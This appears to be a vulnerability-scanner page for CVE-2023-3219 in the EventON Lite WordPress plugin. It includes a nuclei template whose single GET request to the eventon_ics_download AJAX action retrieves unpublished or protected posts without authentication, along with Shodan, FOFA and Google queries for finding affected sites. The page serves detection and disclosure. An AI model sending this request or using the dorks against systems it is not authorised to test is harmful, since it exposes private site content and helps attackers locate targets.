EventON Lite < 2.1.2 - Arbitrary File Download

mediumseverity

5.3CVSS score

7.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.

Impact

Unauthenticated attackers can exploit missing validation in the eventon_ics_download AJAX action to access any post content including unpublished or protected posts through ICS export functionality.

Fix

Fixed in version 2.1.2

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1
Positive when: contains "BEGIN:VCALENDAR" and "END:VCALENDAR" AND contains in header "text/Calendar" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3219 -u <target>

The full check

id: CVE-2023-3219

info:
  name: EventON Lite < 2.1.2 - Arbitrary File Download
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors
    to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.
  impact: |
    Unauthenticated attackers can exploit missing validation in the eventon_ics_download AJAX action to access any post content including unpublished or protected posts through ICS export functionality.
  remediation: Fixed in version 2.1.2
  reference:
    - https://wpscan.com/vulnerability/72d80887-0270-4987-9739-95b1a178c1fd
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3219
    - https://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://wordpress.org/plugins/eventon-lite/
    - http://packetstormsecurity.com/files/173992/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-3219
    cwe-id: CWE-639
    epss-score: 0.07521
    epss-percentile: 0.94547
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - http.html:/wp-content/plugins/eventon/
      - http.html:/wp-content/plugins/eventon-lite/
    fofa-query:
      - wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - "/wp-content/plugins/eventon-lite/"
      - /wp-content/plugins/eventon/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve,cve2023,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon-lite,bypass,myeventon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and

      - type: word
        part: header
        words:
          - "text/Calendar"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from